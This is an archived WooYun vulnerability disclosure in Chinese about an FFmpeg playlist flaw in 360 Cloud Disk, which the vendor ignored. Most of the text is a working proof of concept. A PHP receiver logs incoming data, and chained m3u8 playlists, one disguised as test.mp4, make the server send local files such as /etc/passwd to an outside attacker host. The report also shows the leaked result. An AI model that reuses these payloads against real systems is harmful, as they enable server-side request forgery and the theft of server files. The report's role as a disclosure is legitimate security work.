360云盘文件读取/SSRF

编号205343
Urlhttp://www.wooyun.org/bug.php?action=view&id=205343
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题360云盘文件读取/SSRF
漏洞类型系统/服务补丁不及时
厂商奇虎360
白帽子Noxxx
提交日期2016-05-05 16:23:00
公开日期2016-05-09 11:12:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank0
漏洞简介
360云盘文件读取/SSRF
漏洞细节

看了大神文章:

https://hackerone.com/reports/115857
https://habrahabr.ru/company/mailru/blog/274855/


好像是FFmpeg分段读取的问题,然后自己动手测试.
一共4个文件:
comm.php (接收用的 也可以用监听一个端口)

<?php
file_put_contents(time()."_test.txt",$_GET['x']);
?>


header.m3u8 (视频格式文件)

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://www.u-url.org/exp/movie/comm.php?x=


remote.m3u8 (第二次转发的)

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://www.u-url.org/exp/movie/header.m3u8|http://baidu.com
#EXT-X-ENDLIST


http://baidu.com  也可以换成 本地资源文件: /etc/passwd


test.mp4 (最终上传触发)

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://www.u-url.org/exp/movie/remote.m3u8
#EXT-X-ENDLIST


POC

一切准备号了之后就上传test.mp4到360云盘上去。

QQ截图20160505161656.png


root:x:0:0:root:/root:/bin/bash


也可以ssrf

修复方案

状态信息 2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复重复提交,故忽略。感谢关注360产品安全。
回应信息危害等级:无影响厂商忽略忽略时间:2016-05-09 11:12